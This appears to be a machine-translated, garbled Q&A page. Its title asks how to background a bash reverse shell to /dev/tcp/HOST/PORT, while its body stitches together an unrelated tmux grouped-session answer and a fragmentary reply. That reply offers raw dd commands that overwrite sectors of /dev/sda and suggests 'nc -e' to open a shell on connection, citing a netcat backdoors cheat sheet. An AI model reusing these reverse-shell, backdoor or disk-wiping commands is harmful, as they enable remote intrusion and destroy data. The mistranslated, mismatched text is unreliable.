Выполнение 'удара-i> и/dev/tcp/HOST/PORT 0> &1' в фоновом режиме

Вы можете использовать tmux сгруппированный сеанс.

Сначала создайте начальную сессию, измените ее название на share:

$ tmux
$ tmux list-session
0: 1 windows (created Wed Aug 27 00:14:05 2014) [80x23] (attached)   
$ tmux rename-session -t 0 share 
$ tmux list-session
share: 1 windows (created Wed Aug 27 00:14:05 2014) [80x23] (attached)

Затем, от другого клиента, Вы просто добавляете -t опцию и группируете название сессии (в этом примере это share) к команде tmux new-session:

$ tmux new-session -t share -s cuonglm

-s опция задает название сессии. Если другой пользователь, т.е. wiso, хочет прикрепить сгруппированную сессию, он просто делает:

$ tmux new-session -t share -s wiso

From man tmux:

Если -t дано, то новая сессия группируется с целевым сеансом. Это . означает, что они имеют один и тот же набор окон - все окна из целевая сессия связана с новой сессией и любыми последующими новыми Окна или окна, которые закрываются, применяются к обоим сеансам. текущее и предыдущее окно и любые опции сеанса остаются независимыми и любой сеанс может быть убит, не затрагивая другой. Предоставление -n или shell-команда недействительна, если -t используется.

1
27.03.2014, 15:31
1 ответ
[113033] Я вполне уверен, что Ваша проблема в том, что


-интерактивный

операнд ожидает терминал и фоновая обработка процесса отсекает его

$ sudo su [enter]
# dd if=/dev/random of=/dev/sda bs=512 count=1 seek=62 [enter]
# dd if=/dev/zero of=/dev/sda bs=512 count=1 seek=62 [enter]

stdin/stdout[113909].[113505] Рассмотрим возможность использования

repeat [times] [command]

nc ... -e

для вызова оболочки при соединении. Там есть удобный маленький
netcat

pdf чит-лист. Для
-e

смотрите [113512]BACKDOORS.[113513] Вам, вероятно, понадобится сборка GNU из

nc

, чтобы использовать ее - в противном случае вы захотите перекомпилировать.[113034]

1
27.01.2020, 23:52

Теги

Похожие вопросы